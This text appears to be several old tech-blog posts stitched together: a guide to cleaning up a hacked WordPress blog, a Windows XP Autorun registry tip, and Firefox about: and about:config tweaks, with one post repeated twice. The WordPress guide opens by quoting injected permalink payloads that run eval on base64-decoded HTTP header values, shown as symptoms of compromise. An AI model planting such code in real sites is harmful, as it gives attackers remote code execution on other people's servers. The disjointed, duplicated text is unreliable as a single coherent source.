blah/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

Or this:

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

Or your feed crapped like this:

error on line 22 at column 71: xmlParseEntityRef: no name wordpress

Do not panic – you’re hacked. And there is three steps to get rid of it.

1) Restore your permalinks
Go to Admin panel -> Settings -> Permalinks.
Set your permalink structure to whatever it was earlier. If you don’t even imagine what it was – you can always ask google for it – just like this: site:yourblogurl.com – and you’ll see the answer in the links to your site.

2) Kill the intruder(s)
Go to your preferred mysql administration tool (say, MySqlAdmin) and run this code in the SQL window:

SELECT * FROM `wp_usermeta`
WHERE `meta_value` LIKE '%script%'

You’ll see the list of records, write down user_ids of those guys.
Go to Admin panel -> Users -> Authors & Users, copy the edit link for any user, it’ll be somethings like:

http://yourblogurl.com/wp-admin/user-edit.php?user_id=14&wp_http_referer=%2Fwp-admin%2Fusers.php

Then paste it into address line, and change user_id=XX to the first user_id you wrote. Go.
Replace First name with whatever you want (for example “z”), insert “motherfncker@test.com” into Email field (or whatever, but remember it, you’ll need it later) and set the Role into Subscriber. Push Update user. Then repeat with the next one in your user_ids list. After you finished – just type in into the search line word “motherfncker” (or whatever you set emails to). Now – just delete bastards!

3) Defend the base
Just upgrade your wordpress. If you will do it periodically – there will be no such problems at all!

If you do not have ability to use some SQL tool – you can try to blind find bastards:
Go to Admin panel -> Users -> Authors & Users
Note the number of Admin users (right under “Users” header). One of them is you, all others – bastard ones
Try to find max. user_id in the list by hovering your mouse over links. Then copy the edit link of the user with topmost ID, insert it into address line, change it to next number and go. Did not work? Try the next number. Or previous one. You can even loop through all IDs not in use. And when you’ll find him – you know what to do!

That’s not my way. After 2 minutes Autorun feature has been disabled system-wide. And for you it will take less time – because I’ll take care of this.

All you need is to fetch a .reg file below (right click th link, choose “Save target as”), doubleclick it and say “yes”, than reboot.

Disable Autorun (Windows XP)

All the trick is to set
HKLM\SYSTEM\CurrentControlSet\Services\Cdrom\AutoRun to 0

If you wanna do vice-versa trick, you need to fetch and run next file (right click th link, choose “Save target as”), doubleclick it, say ‘yes’, and reboot. If not helps, check those funky right-click-on-drive menu.

Enable Autorun (Windows XP)

That’s all, folks!

I posted all of them today.

Just type in address line “about:Mozilla” and press enter.

What the hell is that?

And so at last the beast fell and the unbelievers rejoiced. But all was not lost, for from the ash rose a great bird. The bird gazed down upon the unbelievers and cast fire and thunder upon them. For the beast had been reborn with its strength renewed, and the followers of Mammon cowered in horror.

Ok, guys, Mammon is… Aaaa…. Hmmm…. This is Mammon:
( I don’t know why he hasn’t a face of Bill Gates nowdays? )

But why a great bird? If they do mean a Mozilla ThunderBird – now it dead again. If they meant FireFox – it’s not a bird. And if they meant Mozilla itself – I surprised it was bird.

Guys! What the hell was that?

• about:
• about:buildconfig
• about:cache
• about:config
• about:plugins
• about:credits
• about:Mozilla

Funny

And I’m glad to introduce to you: The new FireFox Logo!

Do you know FireFox well?

And how about advanced settings page? And how about direct access to it? OK, just type “about:config” into the address bar and hit return. Just like this:

Now, what do you see?

It’s your advanced settings, basically you can’t reach most of them in other way…

How To Speed Up Your FireFox

Look for the following entries:
network.http.pipelining
network.http.proxy.pipelining
network.http.pipelining.maxrequests

They looked just like this:

Now,
Set network.http.pipelining to true
Set network.http.proxy.pipelining to true
Set network.http.pipelining.maxrequests to 10 (or 15)
Right-click, select New->Integer, name it nglayout.initialpaint.delay, set value to 0
Restart Firefox.

What we’ve done?

We allowed to make up to 10 (15) connections at once. Make sure not to set it higher than 20.
Also we allowed to act with received information with zero waiting time.

I posted all of them today.

Just type in address line “about:Mozilla” and press enter.

What the hell is that?

And so at last the beast fell and the unbelievers rejoiced. But all was not lost, for from the ash rose a great bird. The bird gazed down upon the unbelievers and cast fire and thunder upon them. For the beast had been reborn with its strength renewed, and the followers of Mammon cowered in horror.

Ok, guys, Mammon is… Aaaa…. Hmmm…. This is Mammon:
( I don’t know, by why he hasn’t a face of Bill Gates nowdays? )

But why a great bird? If they do mean a Mozilla ThunderBird – now it dead again. If they meant FireFox – it’s not a bird. And if they meant Mozilla itself – I surprised it was bird.

Guys! What the hell was that?